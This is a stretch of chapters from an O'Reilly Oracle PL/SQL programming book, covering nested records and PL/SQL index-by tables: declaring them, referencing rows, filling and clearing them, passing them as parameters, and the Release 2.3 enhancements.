This is possible because both the fax_phone# and the home_phone# records have the same type, namely the phone_rectype. You can even perform this kind of assignment between records which are nested within different enclosing records, as the following example illustrates:

DECLARE
   /* Using the phone_rectype defined earlier in chapter... */
   TYPE contact_set_rectype IS RECORD
      (day_phone# phone_rectype,
       eve_phone# phone_rectype,
       fax_phone# phone_rectype,
       cell_phone# phone_rectype
      );
   TYPE emerg_contacts_rectype IS RECORD
      (emerg1_phone# phone_rectype,
       emerg2_phone# phone_rectype
      );
   auth_rep_info_rec contact_set_rectype;
   in_an_emergency_rec emerg_contacts_rectype;
BEGIN
   in_an_emergency_rec.emerg1_phone# :=
      auth_rep_info_rec.day_phone#;
END;

The emerg1_phone# and the day_phone# have the same record type: phone_rectype. So even though the enclosing records auth_rep_info_rec and in_an_emergency_rec have different record types, the nested record assignment works. A direct aggregate assignment between the two enclosing records as shown below would fail to compile:

in_an_emergency_rec := auth_rep_info_rec; -- This would fail!

9.7.4 Denormalizing Program Data with Nested Records

At the beginning of this chapter I mentioned that nested records let you carry over the normalized data structures of your database to the memory structures in your programs. Using nested records I was able to avoid hardcoding the internal structure of a phone number multiple times in my contact set record. Oddly enough, you can also use nested records to take your normalized data from the database and denormalize that data inside your program so it is easier to manipulate.

Well-designed relational data structures are usually normalized, which means (roughly) that you eliminate redundant information and repeating groups. Consider a company entity. It might have four different kinds of addresses: receiving, shipping, accounts payable, and customer relations. Each address is made up of seven attributes or columns: address lines one through four, city, state, and zip code. Rather than burden the company table with 28 (7 � 4) columns for all four addresses, you would create a separate table of addresses with a foreign key back to the company table. By creating a separate table for company addresses, you also can easily add another kind of address for a company at a later date.

9.7.4.1 The denormalized nature of our world

While normalized data and foreign keys make sense enough inside a database, these concepts can be very confusing to users and actually present barriers to efficient and straightforward manipulation of the data within your programs. There is a simple reason for this seeming contradiction: real objects in the world are not normalized. Sure, in the most general sense a company can have four or more addresses. But in the real world, a particular company has only one or two addresses. And those addresses are not separate in any way from the company. They are a part of the definition of that company. Therefore, when data is in the database it is normalized, but whenever it is presented to or entered by the user it needs to be denormalized back to its natural state. Our programs, whether they are screens or reports or batch processes, must translate between these two perspectives on the data.

Nested records provide a highly structured and efficient mechanism to perform this translation. Consider the situation of the company and its multiple addresses. Suppose I have a set of procedures and functions which are used to fetch company information from the database and then manipulate that information. Ideally, I would like to be able to pass to these modules a single record which contains all that company's information. This would be difficult to do if I were to keep my program data normalized like its database counterpart, stored separately, and linked via foreign keys. So how about if I create a nested record?

The following programmer-defined record for the company table contains separate address records for each of the four different addresses:

DECLARE

   /* First create address record structure and record. */
   TYPE comp_address_rectype IS RECORD
      (addr1 company.addr1%TYPE,
       addr2 company.addr2%TYPE,
       addr3 company.addr1%TYPE,
       addr4 company.addr2%TYPE,
       city   company.city%TYPE,
       state company.state_abbrev%TYPE,
       zipcode company.zipcode%TYPE);
   /*
   || Now use the address record to declare records as fields in the
   || master company record type.
   */
   TYPE company_rectype IS RECORD
      (comp_id company.company_id%TYPE,
       comp_name company.name%TYPE,
       recv_address_rec comp_address_rectype,
       ship_address_rec comp_address_rectype,
       ap_address_rec comp_address_rectype,
       cr_address_rec comp_address_rectype);

   company_rec company_rectype;

BEGIN

Following the TYPE statement for the company_rectype record, I created a record called company_rec that contains enough storage space for all four company addresses.

Notice that the address record does not contain the company ID key. I don't have to maintain that relation within the nested address record because the address is always only a component of the overall company record structure, which does have a company ID in the comp_id field. This denormalization makes perfect sense within my program because it now gives me a single identifier, the company_rec, through which I can reference the entire company.

9.7.4.2 Nested records hide data complexity

I can now execute procedures and pass this company as a parameter without also having to also tell the procedure to pull along the different addresses as follows:

PROCEDURE display_company (company_rec_in IN company_rectype)

If I maintain separate records for the addresses, thereby paralleling the structures in the database, then each address record would also contain the company ID number to tie it back to the company. Every time I want to work with the company, particularly when I want to pass that company as a parameter through to a procedure, I would also need to list the addresses, as follows:

PROCEDURE display_company
   (company_rec_in  IN company_rectype,
    recv_address_in IN comp_address_rectype,
    ship_address_in IN comp_address_rectype,
    ap_address_in   IN comp_address_rectype,
    cr_address_in   IN comp_address_rectype)

What if the company I am currently working with doesn't have an accounts payable address or a customer relations address? Too bad. I have listed these records explicitly in the parameter list and still need to declare the superfluous address records and pass them along in the parameter list. Oddly enough, by denormalizing the data into a single record, I can hide the underlying level of detail and thereby avoid denormalizing the data structure in my parameter list!

In the database you normalize your data structures and therefore your data. In your programs you can always maintain this normalization through the use of records, particularly nested records. It may often make sense, however, to denormalize the data in your programs. This makes it easy to manipulate that information and, particularly, present and validate data entered by the users from their naturally denormalized perspective.

Previous: 9.6 Record Types and Record Compatibility | Oracle PL/SQL Programming, 2nd Edition | Next: 10. PL/SQL Tables
9.6 Record Types and Record Compatibility | Book Index | 10. PL/SQL Tables
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 10] PL/SQL Tables

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book
Previous: 9.7 Nested Records Chapter 10 Next: 10.2 Characteristics of PL/SQL Tables

10. PL/SQL Tables

Contents:
PL/SQL Tables and Other Collections
Characteristics of PL/SQL Tables
PL/SQL Tables and DML Statements
Declaring a PL/SQL Table
Referencing and Modifying PL/SQL Table Rows
Filling the Rows of a PL/SQL Table
Clearing the PL/SQL Table
PL/SQL Table Enhancements in PL/SQL Release 2.3
Working with PL/SQL Tables

A PL/SQL table is a one-dimensional, unbounded, sparse collection of homogeneous elements, indexed by integers. In technical terms, it is like an array; it is like a SQL table; yet it is not precisely the same as either of those data structures. This chapter explains these characteristics of the PL/SQL table in detail, so that you will understand the differences between PL/SQL tables and traditional arrays and SQL tables, and so that you will know how to use PL/SQL tables in your programs.

Like PL/SQL records, PL/SQL tables are composite data structures. Figure 10.1 shows a PL/SQL table composed of a single column named emp_name, with names saved to rows 100, 225, 226, 300, and 340.

Figure 10.1: The single-column, one-dimensional PL/SQL table

Let's take a look at an example and then explore the characteristics of a table. The following procedure accepts a name and a row and assigns that name to the corresponding row in the PL/SQL table:

1  PROCEDURE set_name (name_in IN VARCHAR2, row_in in INTEGER)
2  IS
3
4     TYPE string_tabletype IS
5        TABLE OF VARCHAR2(30) INDEXED BY BINARY_INTEGER;
6
7     company_name_table string_tabletype;
8
9  BEGIN
10    company_name_table (row_in) := name_in;
11 END;

The TYPE statement in lines 4-5 defines the structure of a PL/SQL table: a collection of strings with a maximum length of 30 characters. The INDEXED BY BINARY_INTEGER clause defines the integer key for the data structure. The table declaration in line 7 declares a specific PL/SQL table based on that table structure. In line 10, traditional array syntax is used to assign a string to a specific row in that PL/SQL table.

10.1 PL/SQL Tables and Other Collections

A PL/SQL table is one type of collection structure and, until Oracle8, it was the only one supported by PL/SQL. With Oracle8, there are now two additional types. This section briefly describes those types and includes information you need to know about using PL/SQL tables and other collections with different versions of PL/SQL. For detailed information about the new collection types, see Chapter 19, Nested Tables and VARRAYs.

10.1.1 PL/SQL Tables

PL/SQL tables are available only in releases of PL/SQL Version 2. PL/SQL tables reside in the private PL/SQL area of the Oracle Server database instance; they are not available as client-side structures at this time. As a result, you cannot declare and manipulate PL/SQL tables in your Oracle Developer/2000 environment.

You can, on the other hand, build stored procedures and packages which work with PL/SQL tables, but hide these structures behind their interface. You can then call this stored code from within Oracle Developer/2000 to take advantage of Version 2 features like PL/SQL tables.

Note that PL/SQL Release 2.3 offers several substantial enhancements to the PL/SQL tables, covered in Section 10.8, "PL/SQL Table Enhancements in PL/SQL Release 2.3". If you are using PL/SQL Release 2.3 (available with Oracle7 Server Release 7.3), make sure you read through this section and make use of these advanced features. All topics covered earlier in the chapter assume PL/SQL Release 2.2 or earlier and do not take advantage of these new features. (Where applicable, I will point you to the relevant Release 2.3 features.)

10.1.2 Nested Tables and VARRAYs

Like PL/SQL tables, the two collection types introduced under Oracle8 -- nested tables and variable arrays (VARRAYs) -- can be used in PL/SQL programs. But these collection types offer something new: they can be used as the datatypes of fields in conventional tables and attributes of objects.

Both nested tables and VARRAYs can be used in PL/SQL and in the database (for example, as a column). They differ in certain ways, though, and you will find that each has pros and cons in certain situations, which I discuss in Chapter 19.

Previous: 9.7 Nested Records | Oracle PL/SQL Programming, 2nd Edition | Next: 10.2 Characteristics of PL/SQL Tables
9.7 Nested Records | Book Index | 10.2 Characteristics of PL/SQL Tables
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 10] 10.2 Characteristics of PL/SQL Tables

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

10.2 Characteristics of PL/SQL Tables

A definition worth repeating: A PL/SQL table is a one-dimensional, unbounded, sparse collection of homogenous elements, indexed by integers.

Let's examine each of these characteristics in detail:

One-dimensional

A PL/SQL table can have only one column. It is, in this way, similar to a one-dimensional array. You cannot define a PL/SQL table so that it can be referenced as follows:

my_table (10, 44)

This is a two-dimensional structure and not currently supported.

Unbounded or Unconstrained

There is no predefined limit to the number of rows in a PL/SQL table. The PL/SQL table grows dynamically as you add more rows to the table. The PL/SQL table is, in this way, very different from an array.

Related to this definition, no rows for PL/SQL tables are allocated for this structure when it is defined.

Sparse

In a PL/SQL table, a row exists in the table only when a value is assigned to that row. Rows do not have to be defined sequentially. Instead you can assign a value to any row in the table. So row 15 could have a value of `Fox' and row 15446 a value of `Red', with no other rows defined in between.

In contrast, an array is a dense data structure. When you declare an array, all cells in the array are allocated in memory and are ready to use.

Homogeneous elements

Because a PL/SQL table can have only a single column, all rows in a PL/SQL table contain values of the same datatype. It is, therefore, homogeneous.

With PL/SQL Release 2.3, you can have PL/SQL tables of records. The resulting table is still, however, homogeneous. Each row simply contains the same set of columns.

Indexed by integers

PL/SQL tables currently support a single indexing mode: by BINARY_INTEGER. This number acts as the "primary key" of the PL/SQL table. The range of a BINARY_INTEGER is from -231-1 to 231-1, so you have an awful lot of rows with which to work.[1]

[1] Notice that the index of a row in the table can even be negative. In the PL/SQL table, a negative row number is no different from a positive one; it's just another integer. However, there are ways that you, the programmer, can take advantage of differences between positive and negative row numbers in your application. For example, the ps_global package, included on the companion disk, uses rows with positive numbers to store "globals-by-number" and uses negative row values to store "globals-by-name".

Because the row number does not have to be used sequentially and has such enormous range, you can use this integer index in interesting ways. For example, the row number for a PL/SQL table could be the primary key of your company table, so that:

company_name (14055)

contains the name of the company whose company_id = 14055.

Previous: 10.1 PL/SQL Tables and Other Collections | Oracle PL/SQL Programming, 2nd Edition | Next: 10.3 PL/SQL Tables and DML Statements
10.1 PL/SQL Tables and Other Collections | Book Index | 10.3 PL/SQL Tables and DML Statements
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 10] 10.3 PL/SQL Tables and DML Statements

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

10.3 PL/SQL Tables and DML Statements

Tables are PL/SQL constructs. PL/SQL is a linguistic extension of the Oracle SQL language, but it is distinct from SQL. When PL/SQL executes a SQL DML statement (SELECT, INSERT, UPDATE, or DELETE), it actually passes control to the RDBMS or SQL kernel, so the PL/SQL statement containing the DML must conform to the SQL standards. Generally PL/SQL is designed to hide this distinction, but when you work with PL/SQL tables -- just as when you work with records (the other PL/SQL composite data structure) -- you will have to be aware of the differences between SQL and PL/SQL.

The PL/SQL table structure is clearly not a part of the SQL language and standards, in that it employs array-like syntax to access rows in the PL/SQL table. Keep the following restrictions in mind when you work with PL/SQL tables:

  • There is no concept of transaction integrity with PL/SQL tables. You cannot commit information to a PL/SQL table or roll back changes from the table.

  • You cannot SELECT from PL/SQL tables. There is no way to perform set-at-a-time processing to retrieve data from a PL/SQL table. This is a programmatic construct in a programmatic language. Instead you can use PL/SQL loops to move through the contents of a PL/SQL table, one row at a time.

  • You cannot issue DML statements (INSERTs, UPDATEs, and DELETEs) against PL/SQL tables (though PL/SQL Release 2.3 does offer a DELETE operator).

Of course, you can always use the individual rows of a table anywhere in a SQL DML statement where you can use an expression of a compatible type.

In this stage of PL/SQL's evolution, PL/SQL tables remain relatively simple in structure and restricted in usage. You can expect to see rapid progress in the sophistication, performance, and flexibility of this data structure in the coming years, as is evidenced by the enhancements offered in PL/SQL Release 2.3.

Previous: 10.2 Characteristics of PL/SQL Tables | Oracle PL/SQL Programming, 2nd Edition | Next: 10.4 Declaring a PL/SQL Table
10.2 Characteristics of PL/SQL Tables | Book Index | 10.4 Declaring a PL/SQL Table
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 10] 10.4 Declaring a PL/SQL Table

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

10.4 Declaring a PL/SQL Table

As with a record, a PL/SQL table is declared in two stages:

  • Define a particular PL/SQL table structure (made up of strings, dates, etc.) using the table TYPE statement. The result of this statement is a datatype you can use in declaration statements.

  • Declare the actual table based on that table type. The declaration of a PL/SQL table is a specific instance of a generic datatype.

10.4.1 Defining the Table TYPE

The TYPE statement for a PL/SQL table has the following format:

TYPE <table_type_name> IS TABLE OF <datatype> [ NOT NULL ]
   INDEX BY BINARY_INTEGER;

where <table_type_name> is the name of the table structure you are creating and <datatype> is the datatype of the single column in the table. You can optionally specify that the table be NOT NULL, meaning that every row in the table that has been created must have a value.

You must always specify INDEX BY BINARY_INTEGER at the end of the TYPE...TABLE statement, even though it is the only type of index you can have currently in a PL/SQL table.

PL/SQL uses BINARY_INTEGER indexes because they allow for the fastest retrieval of data. (In this case, the primary key is already in the internal binary format, so it does not have to be converted before it can be used by the runtime environment.)

The rules for the table type name are the same as for any identifier in PL/SQL: the name can be up to 30 characters in length, it must start with a letter, and it can include some special characters such as underscore ( _ ) and dollar sign ($).

The datatype of the table type's column can be any of the following:

Scalar datatype

Any PL/SQL-supported scalar datatype, such as VARCHAR2, POSITIVE, DATE, or BOOLEAN.

Anchored datatype

A datatype inferred from a column, previously defined variable, or cursor expression using the %TYPE attribute.

Here are some examples of table type declarations:

TYPE company_keys_tabtype IS TABLE OF company.company_id%TYPE NOT NULL
   INDEX BY BINARY_INTEGER;

TYPE reports_requested_tabtype IS TABLE OF VARCHAR2 (100)
   INDEX BY BINARY_INTEGER;

NOTE: Prior to PL/SQL Release 2.3, you may not use composite datatypes declaring a PL/SQL table's column. With Release 2.3, you can create PL/SQL tables of records.

10.4.2 Declaring the PL/SQL Table

Once you have created your table type, you can reference that table type to declare the actual table. The general format for a table declaration is:

<table_name> <table_type>;

where <table_name> is the name of the table and <table_type> is the name of a previously declared table type. In the following example I create a general table type for primary keys in PACKAGE and then use that table type to create two tables of primary keys:

PACKAGE company_pkg
IS
   /* Create a generic table type for primary keys */
   TYPE primary_keys_tabtype IS TABLE OF NUMBER NOT NULL
      INDEX BY BINARY_INTEGER;

   /* Declare two tables based on this table type */
   company_keys_tab primary_keys_tabtype;
   emp_keys_tab primary_keys_tabtype;

END company_pkg;

Previous: 10.3 PL/SQL Tables and DML Statements | Oracle PL/SQL Programming, 2nd Edition | Next: 10.5 Referencing and Modifying PL/SQL Table Rows
10.3 PL/SQL Tables and DML Statements | Book Index | 10.5 Referencing and Modifying PL/SQL Table Rows
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 10] 10.5 Referencing and Modifying PL/SQL Table Rows

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

10.5 Referencing and Modifying PL/SQL Table Rows

Remember that a row, given the single columnar structure of the PL/SQL table in Version 2, is a scalar value. You refer to a particular row in a PL/SQL table by specifying the name of the table and the primary key value for that row. The syntax is very similar to standard, one-dimensional arrays:

<table_name> ( <primary_key_value> )

where <table_name> is the name of the table and <primary_key_value> is a literal, variable, or expression whose datatype is compatible with the BINARY_INTEGER datatype. You assign values to a row in a table with the standard assignment operator (:=).

All of the following table references and assignments are valid:

company_names_tab (15) := 'Fabricators Anonymous';

company_keys_tab (-2000) := new_company_id;

header_string := 'Sales for ' || company_names_tab (25);

10.5.1 Automatic Conversion of Row Number Expressions

PL/SQL will go to great lengths to convert an expression or string to BINARY_INTEGER for use as a row number. Here are some examples:

  • Store the string in row 16:

    requests_table (15.566) := 'Totals by Category';

  • Store the string in row 255:

    company_keys_table ('25'||'5') := 1000;

  • The expression will be evaluated and used as the row number:

    keyword_list_table (last_row + 15) := 'ELSE';

10.5.2 Referencing an Undefined Row

As I've mentioned, a key difference between arrays and PL/SQL tables is that a row in a PL/SQL table does not exist until you assign a value to that row. This makes sense, given the fact that PL/SQL tables are unconstrained in size. In a 3GL program like C or FORTRAN, you specify a maximum size or dimension to an array when you declare it. Once an array is declared, the memory is set aside for all the cells in the array, and you can read from or place a value in any cell within the bounds of the array.

PL/SQL tables, on the other hand, have no predefined number of values, so PL/SQL does not create the memory structure for the rows in the table until you need them. Instead, whenever you assign a value to a row in a PL/SQL table, PL/SQL creates that row.

If, however, you reference a row which does not yet exist, PL/SQL raises the NO_DATA_FOUND exception. (The exception is also raised when an implicit cursor SELECT statement does not return any rows, or when you attempt to read past the end of a file with the UTL_FILE package.)

The following PL/SQL block will cause the NO_DATA_FOUND exception to be raised (and go unhandled) because row 15 has not yet been assigned a value:

DECLARE
   new_request NUMBER;
   TYPE request_tabtype IS TABLE OF NUMBER INDEX BY BINARY_INTEGER;
   request_table request_tabtype;
BEGIN
   new_request := request_table (15);
END;

If you want to trap the NO_DATA_FOUND exception, then you will need to add the following exception handler to the exception section of the block:

EXCEPTION
   WHEN NO_DATA_FOUND
   THEN
      ... take appropriate action ...
END;

You pay a stiff penalty for referencing a row in a table that has not been assigned a value. To avoid this exception, you need to keep track of the minimum and maximum row numbers used in a PL/SQL table.

10.5.3 Nonsequential Use of PL/SQL Table

Of course, the idea of using a minimum and maximum row assumes that the rows in the table are used sequentially. That is, you fill row one, then row two, etc. This is a perfectly reasonable way to fill a table's rows; to do this you absolutely must know the value of the row last filled. You are not, however, required to fill rows in this way. You can place a value in any row of the table you wish, regardless of the primary key value of the last row you filled.

The following example illustrates filling a PL/SQL table's rows randomly rather than sequentially:

DECLARE
   TYPE countdown_tests_tabtype IS TABLE OF VARCHAR2(20)
      INDEX BY BINARY_INTEGER;
   countdown_test_list countdown_tests_tabtype;
BEGIN
   countdown_test_list (1) := 'All systems go';
   countdown_test_list (43) := 'Internal pressure';
   countdown_test_list (255) := 'Engine inflow';
END;

In this situation, the minimum and maximum values do not have much significance.

The ability to randomly place values in a table can come in very handy when the primary key value for the table's row is actually not sequentially derived, but is instead based on data in your application. This use of "intelligent" primary key values is explored in more detail in Section 10.9.2, "Data-Smart Row Numbers in PL/SQL Tables" later in this chapter.

10.5.4 Passing PL/SQL Tables as Parameters

You can also pass a PL/SQL table as a parameter in a procedure or function; with this approach you can, in a single call, pass all the values in a table into the module. In the following package specification I define two modules that pass PL/SQL tables as parameters. The send_promos procedure sends a promotional mailing to all the companies in my table. The companies_overdue function returns a table filled with the names of companies that have overdue bills.

PACKAGE company_pkg
IS
   TYPE primary_keys_tabtype IS TABLE OF company.company_id%TYPE NOT NULL
      INDEX BY BINARY_INTEGER;
   company_keys_tab primary_keys_tabtype;
   emp_keys_tab primary_keys_tabtype;

   /* Table type and table for company names */
   TYPE company_names_tabtype IS TABLE OF company.name%TYPE
      INDEX BY BINARY_INTEGER;
   company_names_tab company_names_tabtype;

   /* Parameter is a table of company primary keys */
   PROCEDURE send_promos (company_table_in IN primary_keys_tabtype);

   /* Function returns a table of company names */
   FUNCTION companies_overdue (overdue_date_in IN DATE)
      RETURN company_names_tabtype;

   /* Returns company ID for name. */
   FUNCTION id (name in IN company.name%TYPE)
      RETURN company.company id%TYPE

END company_pkg;

Now that I have a package containing both the table type and the programs referencing those types, I can call these programs. The only tricky part to remember here is that you must declare a PL/SQL table based on the type before you can use any of the programs. Here is an example of returning a PL/SQL table as a function's return value:

CREATE OR REPLACE PROCEDURE send_promos_for_overdue_companies
   (date_in IN DATE := SYSDATE)
IS
   v_row PLS_INTEGER;

   /* Declare a PL/SQL table based on the packaged type. */
   cnames company_pkg.company_names_tabtype;
BEGIN
   cnames := company_pkg.companies_overdue (date_in);

   /*
   || In PL/SQL 2.3 I can use navigation methods to traverse.
   || Notice that I do not assume that rows are filled sequentially.
   */
   v_row := cnames.FIRST;
   LOOP
      EXIT WHEN v_row IS NULL;
      DBMS_OUTPUT.PUT_LINE (cnames(v_row));
      v_row := cnames.NEXT (v_row);
   END LOOP;
END;
/

Notice that I could also have avoided declaring my own PL/SQL table, cnames, by using the predefined table in the package:

   company_pkg.company_names_tab :=
   company_pkg.companies_overdue (date_in);

If I had taken this approach, however, any rows already defined in this "global" table would have been erased.

Here is an example of calling a procedure, passing a PL/SQL table as an argument in the parameter list:

DECLARE
   v_row PLS_INTEGER;

   /* Table of primary keys for company */
   company_ids company_pkg.primary_keys_tabtype;
BEGIN
   /* Populate the table with names of overdue companies. */
   company_pkg.company_names_tab :=
      company_pkg.companies_overdue (date_in);

   /* For each company name, look up the ID and pass it to the
   || PL/SQL table of company IDs.
   */
   v_row := company_pkg.company_names_tab.FIRST;
   LOOP
      EXIT WHEN v_row IS NULL;
      company_ids (NVL (company_ids.LAST, 0) + 1) :=
         company_pkg.id(company_pkg.company_name_tab(v_row));
      v_row := company_pkg.company_names_tab.NEXT (v_row);
   END LOOP;

   /* Now send out promotional flyers to those companies. */
   company_pkg.send_promos (company_ids);

   /* Delete all the rows from the company names table. */
   company_pkg.company_names_tab.DELETE;

END company_pkg;

Previous: 10.4 Declaring a PL/SQL Table | Oracle PL/SQL Programming, 2nd Edition | Next: 10.6 Filling the Rows of a PL/SQL Table
10.4 Declaring a PL/SQL Table | Book Index | 10.6 Filling the Rows of a PL/SQL Table
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 10] 10.6 Filling the Rows of a PL/SQL Table

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

10.6 Filling the Rows of a PL/SQL Table

You can assign values to rows of a table in several ways:

  • Direct assignment

  • Iterative assignment

  • Aggregate assignment

These methods are described in the following sections.

10.6.1 Direct Assignment

As shown in previous examples, you can simply assign a value to a row with the assignment operator:

countdown_test_list (43) := 'Internal pressure';
company_names_table (last_name_row) := 'Johnstone Clingers';

Direct assignment makes sense when you need to make a change to a specific row. But what do you use when you want to fill a whole set of rows, for example, unloading a whole cursor-full of information from a database table? Here, iterative assignment may be more appropriate.

10.6.2 Iterative Assignment

In order to fill up multiple rows of a table, I recommend taking advantage of a PL/SQL loop. Within the loop you will still perform direct assignments to set the values of each row, but the primary key value will be set by the loop rather than hardcoded into the assignment itself.

In the following example, I use a WHILE loop to fill and then display a PL/SQL date table with the next set of business days, as specified by the ndays_in parameter:

/* Filename on companion disk: bizdays.sp */
CREATE OR REPLACE PROCEDURE show_bizdays
   (start_date_in IN DATE := SYSDATE, ndays_in IN INTEGER := 30)
IS
   TYPE date_tabtype IS TABLE OF DATE INDEX BY BINARY_INTEGER;
   bizdays date_tabtype;

   /* The row in the table containing the nth_day */
   nth_day  BINARY_INTEGER := 1;
   v_date DATE := start_date_in;
BEGIN
   /* Loop through the calendar until enough biz days are found */
   WHILE nth_day <= ndays_in
   LOOP
      /* If the day is not on the weekend, add to the table. */
      IF TO_CHAR (v_date, 'DY') NOT IN ('SAT', 'SUN')
      THEN
         bizdays (nth_day) := v_date;
         DBMS_OUTPUT.PUT_LINE (v_date);
         nth_day := nth_day + 1;
      END IF;
      v_date := v_date + 1;
   END LOOP;
END show_bizdays;
/

As you can see from this example, using the WHILE loop produces a neat, sequential load of the PL/SQL table.

10.6.3 Aggregate Assignment

Just as you can assign one entire record to another record of the same type and structure, you can perform aggregate assignments with tables as well. In order to transfer the values of one table to another, the datatype of the two tables must be compatible. Beyond that you simply use the assignment operator (:=) to transfer the values of one table to the other. The following example contains an example of an aggregate table assignment:

DECLARE
   TYPE name_table IS TABLE OF VARCHAR2(100) INDEX BY BINARY_INTEGER;
   old_names name_table;
   new_names name_table;
BEGIN
   /* Assign values to old_names table */
   old_names(1) := 'Smith';
   old_names(2) := 'Harrison';

   /* Assign values to new_names table */
   new_names(111) := 'Hanrahan';
   new_names(342) := 'Blimey';

   /* Transfer values from new to old */
   old_names := new_names;

   /* This assignment will raise NO_DATA_FOUND */
   DBMS_OUTPUT.PUT_LINE (old_names (1));
END;

A table-level assignment completely replaces the previously defined rows in the table. In the preceding example, rows 1 and 2 in old_names are defined before the last, aggregate assignment.

After the assignment, only rows 111 and 342 in the old_names table have values.

Previous: 10.5 Referencing and Modifying PL/SQL Table Rows | Oracle PL/SQL Programming, 2nd Edition | Next: 10.7 Clearing the PL/SQL Table
10.5 Referencing and Modifying PL/SQL Table Rows | Book Index | 10.7 Clearing the PL/SQL Table
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 10] 10.7 Clearing the PL/SQL Table

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

10.7 Clearing the PL/SQL Table

What happens when you are done with a PL/SQL table and want to remove it from memory? If a PL/SQL table is like a table, we should be able to DELETE the rows of that table or DROP it entirely, right? It's a nice idea, but you can't perform a SQL DELETE statement on a PL/SQL table because it is not stored in the database. You also cannot DROP a PL/SQL table.

You can set a single row to NULL with the following kind of assignment:

company_names_table (num_rows) := NULL;

But this assignment doesn't actually remove the row or make it undefined; it just sets the value of the row to NULL.

The only way to actually empty a PL/SQL table of all rows is to perform an aggregate assignment with a table that is empty -- a table, that is, with no rows defined.

With this approach, for every PL/SQL table you want to be able to empty, you declare a parallel, empty table of the same table type. When you are finished working with your table, simply assign the empty table to the actual table. This will unassign all the rows you have used. The following example demonstrates this technique:

DECLARE
   TYPE company_names_tabtype IS TABLE OF company.name%TYPE
      INDEX BY BINARY_INTEGER;
   company_names_tab company_names_tabtype;

   /* Here is the empty table declaration */
   empty_company_names_tab company_names_tabtype;

BEGIN
   ... set values in company names table ...

   /* The closest you can come to "dropping" a PL/SQL table */
   company_names_tab := empty_company_names_tab;

END;

NOTE: PL/SQL Release 2.3 offers a DELETE operator so that you can delete all or some rows of a PL/SQL table.

Previous: 10.6 Filling the Rows of a PL/SQL Table | Oracle PL/SQL Programming, 2nd Edition | Next: 10.8 PL/SQL Table Enhancements in PL/SQL Release 2.3
10.6 Filling the Rows of a PL/SQL Table | Book Index | 10.8 PL/SQL Table Enhancements in PL/SQL Release 2.3
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 10] 10.8 PL/SQL Table Enhancements in PL/SQL Release 2.3

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

10.8 PL/SQL Table Enhancements in PL/SQL Release 2.3

PL/SQL Release 2.3 offers significantly enhanced functionality for PL/SQL tables. These new features include:

  • Records supported as elements of PL/SQL tables. Prior to Release 2.3, the element or single column of the PL/SQL table could only be a scalar datatype, such as VARCHAR2 or BOOLEAN or DATE. Release 2.3 allows you to define table types whose element datatype is defined with the %ROWTYPE declaration attribute or is a named RECORD type.

  • New operations on PL/SQL tables. PL/SQL Release 2.3 offers a set of new built-in functions and procedures which return information about, or modify the contents of, a PL/SQL table. These operations are shown in Table 10.1.

These new features allow you to use PL/SQL tables for a wider range of applications and also manipulate the data in tables in a more natural and efficient manner. You can now create local PL/SQL data structures which mimic precisely the structure of a table stored in the database. You do not have to create separate tables and manage them in parallel to emulate the multiple-column SQL table structure.

You can use the built-ins to obtain PL/SQL table information that previously was unavailable. For example, you can use the COUNT function to determine the number of elements defined in a table. You no longer have to keep track of that number yourself.

Table 10.1: PL/SQL Release 2.3 Built-in Functions and Procedures for Tables
Operator | Description
COUNT | Returns the number of elements currently contained in the PL/SQL table.
